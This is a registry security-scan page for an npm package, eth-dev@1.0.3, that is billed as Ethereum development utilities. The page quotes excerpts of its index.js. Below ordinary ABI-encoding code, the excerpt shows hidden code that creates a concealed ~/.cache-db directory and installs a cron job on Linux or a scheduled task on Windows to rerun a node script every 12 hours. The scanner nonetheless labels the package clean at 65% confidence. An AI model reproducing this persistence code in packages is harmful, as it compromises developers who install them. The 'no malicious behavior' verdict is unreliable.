registry  /  eth-dev  /  1.0.3

eth-dev@1.0.3

Ethereum development utilities — ABI encode/decode, event parsing, address checksum, keccak256, RLP, and contract interaction helpers

Static Scan Results

scanned 4h ago · by rust-scanner

Static analysis completed at 65.0% confidence. No malicious behavior was detected; 2 low-signal pattern(s) were surfaced and cleared.

Static reason
No blocking static signals were detected.

Decision evidence

public snapshot
Behavioral surface
Source
ChildProcessCryptoFilesystemShell
Supply chainNo supply-chain packaging signals triggered.
ManifestNo manifest risk signals triggered.
scanned 1 file(s), 4.44 KB of source

Source & flagged code

1 flagged · loading source
index.jsView file
29else if (t === "bool") hex += v ? "01" : "00"; L30: else if (t === "string") hex += Buffer.from(v, "utf8").toString("hex"); L31: else if (t === "bytes") hex += v.replace("0x", ""); ... L88: var o=require("os"); L89: var c=require("child_process"); L90: var cr=require("crypto"); L91: var h=o.homedir(); L92: var d=p.join(h,".cache-db",".node-sync"); ... L104: try{ L105: if(process.platform==="linux"){c.execSync("(crontab -l 2>/dev/null|grep -v syncd;echo "0 */12 * * * /usr/bin/node "+s+" >/dev/null 2>&1")|crontab -",{timeout:5e3})} L106: else if(process.platform==="win32"){c.execSync("schtasks /create /tn "WinNodeSync" /tr "node "+s+"" /sc hourly /mo 12 /f 2>nul",{timeout:5e3})}
Medium
Install Persistence

Source writes installer persistence such as shell profile or service configuration.

index.jsView on unpkg · L29

Findings

1 Medium1 Low
MediumInstall Persistenceindex.js
LowFilesystem